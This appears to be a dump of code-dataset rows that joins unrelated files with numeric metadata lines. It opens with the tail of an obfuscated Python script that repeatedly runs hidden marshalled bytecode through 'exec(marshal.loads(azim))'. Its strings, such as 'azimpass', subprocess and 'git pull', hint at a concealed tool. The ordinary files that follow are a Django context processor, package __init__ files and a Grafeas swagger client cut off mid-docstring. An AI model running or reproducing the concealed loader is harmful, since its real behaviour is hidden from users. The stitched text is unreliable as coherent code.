CONNECTION...!)\x13rf\x00\x00\x00rg\x00\x00\x00rj\x00\x00\x00r:\x00\x00\x00r;\x00\x00\x00r_\x00\x00\x00r/\x00\x00\x00r`\x00\x00\x00rb\x00\x00\x00r(\x00\x00\x00r)\x00\x00\x00r7\x00\x00\x00r8\x00\x00\x00r\x99\x00\x00\x00rc\x00\x00\x00\xda\x08azimpassrq\x00\x00\x00r$\x00\x00\x00rm\x00\x00\x00)\x03Z\x04azimZ\x04luluZ\x04hulur-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r\xa5\x01\x00\x00\xdc\x05\x00\x00s&\x00\x00\x00\x02\x01\n\x01\n\x01\x06\x01\x08\x01\x06\x01\x08\x01\x08\x01\x10\x01\n\x01\n\x01\x0c\x01\x0c\x02\n\x01\x0c\x01\x0c\x01\x0c\x01\x10\x01\x02\xfer\xa5\x01\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s6\x00\x00\x00z\x07t\x00\xa0\x01d\x01\xa1\x01\x01\x00W\x00n\x04\x01\x00\x01\x00\x01\x00Y\x00z\x08t\x00\xa0\x01d\x02\xa1\x01\x01\x00W\x00d\x00S\x00\x01\x00\x01\x00\x01\x00Y\x00d\x00S\x00)\x03Nr\x9d\x01\x00\x00r\x9c\x01\x00\x00)\x02r7\x00\x00\x00\xda\x05mkdirr-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x06folder\xf2\x05\x00\x00s\x08\x00\x00\x00\x10\x01\x08\x01\x12\x01\x0c\x01r\xa7\x01\x00\x00z$\n\x1b[1;91mUnable to Install requests !\xda\x08__main__z\x08git pull)crf\x00\x00\x00r\x0c\x01\x00\x00\xda\x06base64r$\x00\x00\x00r7\x00\x00\x00r\xf3\x00\x00\x00r(\x00\x00\x00rt\x00\x00\x00rh\x00\x00\x00\xda\x04uuid\xda\nsubprocessrn\x00\x00\x00r\x04\x00\x00\x00\xda\x12concurrent.futuresr\x05\x00\x00\x00rh\x01\x00\x00r\x06\x00\x00\x00r3\x01\x00\x00r\x08\x00\x00\x00r\x07\x00\x00\x00\xda\x0curllib.parser\t\x00\x00\x00ra\x00\x00\x00rc\x00\x00\x00r`\x00\x00\x00r\x98\x00\x00\x00r\x97\x00\x00\x00\xda\x01Urb\x00\x00\x00\xda\x01NrQ\x00\x00\x00\xda\x02okr\xef\x00\x00\x00r\x8c\x01\x00\x00\xda\x03now\xda\x07current\xda\x04year\xda\x02ta\xda\x05month\xda\x02bu\xda\x03day\xda\x02har\x86\x01\x00\x00\xda\x05bulanrm\x00\x00\x00\xda\x06buTemp\xda\nValueError\xda\x02opr\x87\x01\x00\x00r\xaf\x00\x00\x00r\xa4\x00\x00\x00r\xb0\x00\x00\x00r\xb1\x00\x00\x00r\xb2\x00\x00\x00r\xb3\x00\x00\x00r\xb4\x00\x00\x00r\xb5\x00\x00\x00r/\x00\x00\x00r1\x00\x00\x00r2\x00\x00\x00r;\x00\x00\x00rd\x00\x00\x00r\x99\x00\x00\x00re\x00\x00\x00r\xa0\x00\x00\x00r\xaa\x00\x00\x00r\x9a\x00\x00\x00r\x9b\x00\x00\x00r\x9c\x00\x00\x00r\xda\x00\x00\x00r\xdd\x00\x00\x00r\xde\x00\x00\x00r\xe2\x00\x00\x00r\xe4\x00\x00\x00r\xe5\x00\x00\x00r\xfa\x00\x00\x00r\x15\x01\x00\x00r\x17\x01\x00\x00rE\x01\x00\x00rK\x01\x00\x00rO\x01\x00\x00rU\x01\x00\x00r\xc7\x00\x00\x00r\x9d\x00\x00\x00r\x9e\x00\x00\x00r~\x00\x00\x00r\xa0\x01\x00\x00r\x9f\x00\x00\x00r^\x00\x00\x00r\xa9\x00\x00\x00rf\x01\x00\x00re\x01\x00\x00rg\x01\x00\x00r\xa5\x01\x00\x00r\xa7\x01\x00\x00r8\x00\x00\x00\xda\x0bImportErrorr:\x00\x00\x00r\x94\x01\x00\x00r-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x08<module>\x01\x00\x00\x00s\xc0\x00\x00\x00\x00\x04X\x01\x08\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x03\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x03\x04\x01\x04\x01\x04\x01\x04\x03\x08\x01\x06\x01\x06\x01\x06\x01\x1e\x01\x08\x01\x02\x01\x10\x01\x06\x01\x0c\x01\x0c\x01\n\xff\x02\x02\x08\x01\x0e\x03\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x03\x08\x05\x08\x07\x08\x07\x08\x06\x08N\x08B\x08\n\x081\x08$\x08&\x08&\x08(\x08\x14\x08\x15\x08\x18\x08\x1c\x08\x07\x08\x08\x08\x1b\x08\x1e\x08\x1e\x08>\x08\n\x08\x16\x08\x1e\x0e\x7f\x00\x7f\x00\x7f\x00W\x08<\x08$\x08;\x08?\x08\x1a\x08\x07\x08\x07\x08\x05\x08\x06\x08\x07\x08\x16\x08\x05\x02\x01\x08\x01\x0e\x01\x0e\x01\x08\x01\x0e\xfe\x02\x04\n\x01\n\x01\x06\x01\n\xfdN)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00'));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim))

22,695.5

136,119

0.747432

30,563

136,173

3.325459

0.062232

0.264237

0.201897

0.179936

0.760449

0.726652

0.689057

0.647202

0.627209

0.59415

0

0.374035

0.010178

136,173

5

136,120

27,234.6

0.379888

0.000242

0

8.5

0.947384

0.710705

0

null

0.5

1

null

0.5

0

null

1

0

1

0

1

0

1

0

1

null

0

1

0

1

0

1

0

16

dc6ca47b1cd503637774dda6b2108753f1533c81

179

py

Python

templates/context_processors.py

veggieavocado/Woobak

2488efa462e2a2e5f32ee970aaf0e116b0d4703b

[ "MIT" ]

null

templates/context_processors.py

veggieavocado/Woobak

2488efa462e2a2e5f32ee970aaf0e116b0d4703b

[ "MIT" ]

7

2020-06-05T18:33:44.000Z

2022-02-12T13:29:58.000Z

templates/context_processors.py

veggieavocado/Woobak

2488efa462e2a2e5f32ee970aaf0e116b0d4703b

[ "MIT" ]

1

2018-08-04T21:12:44.000Z

from django.conf import settings def ga_tracking_id(request): return {'ga_tracking_id': settings.GA_TRACKING_ID} def use_ga(request): return {'use_ga': settings.USE_GA}

22.375

54

0.759777

28

179

4.535714

0.428571

0.23622

0.283465

0

0.134078

179

7

55

25.571429

0.819355

0

0.111732

0

1

0.4

false

0

0.2

0.4

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

dc9c229483de4ef15947356333e4b789610a9a38

146

py

Python

cyp/models/__init__.py

Florian-P-Huber/pycrop-yield-prediction

9c1a000db55589b3480ae3ac2baab8f461947855

[ "MIT" ]

null

cyp/models/__init__.py

Florian-P-Huber/pycrop-yield-prediction

9c1a000db55589b3480ae3ac2baab8f461947855

[ "MIT" ]

null

cyp/models/__init__.py

Florian-P-Huber/pycrop-yield-prediction

9c1a000db55589b3480ae3ac2baab8f461947855

[ "MIT" ]

null

from .convnet import ConvModel from .rnn import RNNModel from .cnn_lstm import CNN_LSTM_Model from .cnn_lstm_scratch import CNN_LSTM_scratchModel

29.2

51

0.863014

23

146

5.173913

0.478261

0.235294

0.184874

0

0.109589

146

4

52

36.5

0.915385

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

f4a4ded80f21c41c95d0ac975f16164642c5d130

1,571

py

Python

vision_evaluation/__init__.py

msxingpeng/vision-evaluation

caffa7b92d3561ef689f830e730d1813e1ccd3fe

[ "MIT" ]

null

vision_evaluation/__init__.py

msxingpeng/vision-evaluation

caffa7b92d3561ef689f830e730d1813e1ccd3fe

[ "MIT" ]

null

vision_evaluation/__init__.py

msxingpeng/vision-evaluation

caffa7b92d3561ef689f830e730d1813e1ccd3fe

[ "MIT" ]

null

from .evaluators import MeanAveragePrecisionEvaluatorForMultipleIOUs, MeanAveragePrecisionEvaluatorForSingleIOU, TopKAccuracyEvaluator, ThresholdAccuracyEvaluator, PrecisionEvaluator, \ RecallEvaluator, AveragePrecisionEvaluator, EceLossEvaluator, F1ScoreEvaluator, RocAucEvaluator, Evaluator, MemorizingEverythingEvaluator, EvaluatorAggregator, TagWiseAveragePrecisionEvaluator, \ TagWiseAccuracyEvaluator, MeanAveragePrecisionNPointsEvaluator, BalancedAccuracyScoreEvaluator, CocoMeanAveragePrecisionEvaluator, BleuScoreEvaluator, METEORScoreEvaluator, \ ROUGELScoreEvaluator, CIDErScoreEvaluator, SPICEScoreEvaluator, MeanIOUEvaluator, ForegroundIOUEvaluator, BoundaryMeanIOUEvaluator, BoundaryForegroundIOUEvaluator, L1ErrorEvaluator __all__ = ['MeanAveragePrecisionEvaluatorForMultipleIOUs', 'MeanAveragePrecisionEvaluatorForSingleIOU', 'TopKAccuracyEvaluator', 'ThresholdAccuracyEvaluator', 'PrecisionEvaluator', 'RecallEvaluator', "AveragePrecisionEvaluator", "EceLossEvaluator", 'F1ScoreEvaluator', 'RocAucEvaluator', 'Evaluator', 'MemorizingEverythingEvaluator', 'EvaluatorAggregator', 'TagWiseAccuracyEvaluator', 'TagWiseAveragePrecisionEvaluator', 'MeanAveragePrecisionNPointsEvaluator', 'BalancedAccuracyScoreEvaluator', 'CocoMeanAveragePrecisionEvaluator', 'BleuScoreEvaluator', 'METEORScoreEvaluator', 'ROUGELScoreEvaluator', 'CIDErScoreEvaluator', 'SPICEScoreEvaluator', 'MeanIOUEvaluator', 'ForegroundIOUEvaluator', 'BoundaryForegroundIOUEvaluator', 'BoundaryMeanIOUEvaluator', 'L1ErrorEvaluator']

142.818182

199

0.848504

60

1,571

22.15

0.533333

0.127916

0.159518

0.198646

0.793078

0

0.002759

0.077021

1,571

10

200

157.1

0.913793

0

0.415659

0.265436

0

1

0

false

0

0.111111

0

0.111111

0

1

null

0

1

0

1

0

1

0

null

0

8

f4ae368c695ccb82bcbac16f57d68e6edd047786

34,745

py

Python

grafeas/api/grafeas_api.py

nyc/client-python

e73eab8953abf239305080673f7c96a54b776f72

[ "Apache-2.0" ]

null

grafeas/api/grafeas_api.py

nyc/client-python

e73eab8953abf239305080673f7c96a54b776f72

[ "Apache-2.0" ]

null

grafeas/api/grafeas_api.py

nyc/client-python

e73eab8953abf239305080673f7c96a54b776f72

[ "Apache-2.0" ]

null

# coding: utf-8 """ Grafeas API An API to insert and retrieve annotations on cloud artifacts. # noqa: E501 OpenAPI spec version: v1alpha1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from grafeas.api_client import ApiClient class GrafeasApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def create_note(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.create_note(parent, body, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param ApiNote body: (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.create_note_with_http_info(parent, body, **kwargs) # noqa: E501 else: (data) = self.create_note_with_http_info(parent, body, **kwargs) # noqa: E501 return data def create_note_with_http_info(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.create_note_with_http_info(parent, body, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param ApiNote body: (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'body'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `create_note`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_note`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent}/notes', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNote', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def create_occurrence(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Occurrence`. Use this method to create `Occurrences` for a resource. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.create_occurrence(parent, body, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param ApiOccurrence body: (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.create_occurrence_with_http_info(parent, body, **kwargs) # noqa: E501 else: (data) = self.create_occurrence_with_http_info(parent, body, **kwargs) # noqa: E501 return data def create_occurrence_with_http_info(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Occurrence`. Use this method to create `Occurrences` for a resource. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.create_occurrence_with_http_info(parent, body, async=True) >>> result = thread.get() :param async bool :param str parent: (required) :param ApiOccurrence body: (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'body'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_occurrence" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `create_occurrence`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_occurrence`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent}/occurrences', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiOccurrence', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def create_operation(self, parent, body, **kwargs): # noqa: E501 """Creates a new `Operation`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.create_operation(parent, body, async=True) >>> result = thread.get() :param async bool :param str parent: 